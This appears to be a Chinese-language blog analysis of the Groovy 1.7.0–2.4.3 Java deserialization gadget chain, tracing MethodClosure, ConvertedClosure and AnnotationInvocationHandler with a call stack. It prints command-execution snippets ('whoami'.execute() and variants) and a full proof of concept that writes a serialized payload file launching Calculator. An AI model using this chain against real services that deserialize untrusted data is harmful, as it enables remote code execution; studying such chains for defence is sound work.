简述

Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。 Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。

漏洞版本

Groovy : 1.7.0-2.4.3

漏洞分析

MethodClosure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Method;

public class groovy {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}

先从这个类开始入手 (就是最后执行代码的地方)

org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用。

MethodClosure 初始化时接收两个参数,一个是对象,一个是对象的方法名称。

image-20230718191350775

MethodClosure 中有一个 doCall 方法,调用 InvokerHelper.invokeMethod() 方法进行方法调用。

image-20230718191421942

这里就是先使用MethodClosure来进行传值 分别是传一个对象和这个对象的某个方法

由于这个doCall()是个protected方法 得使用反射调用

image-20230718191723300

这个最后一步的意思就是反射调用这个doCall()方法,然后传值是这个calc

m:就是等会会调用doCall这个方法

invoke(mc,"calc") 这个里面的mc指的是调用这个MethodClosure 里的doCall方法 calc是这个daCall的参数

image-20230718192709132

String.execute() 方法

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 “ls”。

1
2
3
4
5
6
7
8
package org.example

class Groovy {
static void main(String[] args){
println("whoami".execute().text);
}
}

这里切记生成文件的要选groovy,不然会执行不了

image-20230718192832925

其实就是使用Runtime.getRuntime().exec()来执行

如果在java中可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Method;

public class groovy {
public static void main(String[] args) throws Exception{
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
}
}

分析一波 下个断点

image-20230718200009817

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure

org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口。ConvertedClosure 实现了 ConversionHandler 类,而 ConversionHandler 又实现了 InvocationHandler。所以说 ConvertedClosure 本身就是一个动态代理类。

ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名,也就是说 ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke 方法,除了 toString 和一些默认方法外,会调用 invokeCustom 方法。

如果初始化时指定的 method 与 invokeCustom 指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closure 的 call 方法执行传入参数执行。

image-20230718194334220

看到这里就明白这条链的触发逻辑了。后面自然是使用 AnnotationInvocationHandlerConvertedClosure 代理成 Map 类。这样在反序列化

攻击构造

最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Groovy {

public static String fileName = "Groovy.bin";

public static void main(String[] args) throws Exception {

//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("open -a Calculator.app", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, closure);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

SerializeUtil.writeObjectToFile(invocationHandler, fileName);
SerializeUtil.readFileObject(fileName);
}
}

调用链展示

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

image-20230719191853074

调用entrySet,然后触发invoke

image-20230719192046197

调用了ConversionHandler#invoke()方法

image-20230719192158196

image-20230719192238123

接着就会调用到ConvertedClosure#invokeCustom()方法 并且由于这个

methodName和这个传进来的methodname一样 就会调用call()方法

image-20230719192521353

image-20230719192653618

这里的话到最后就rce了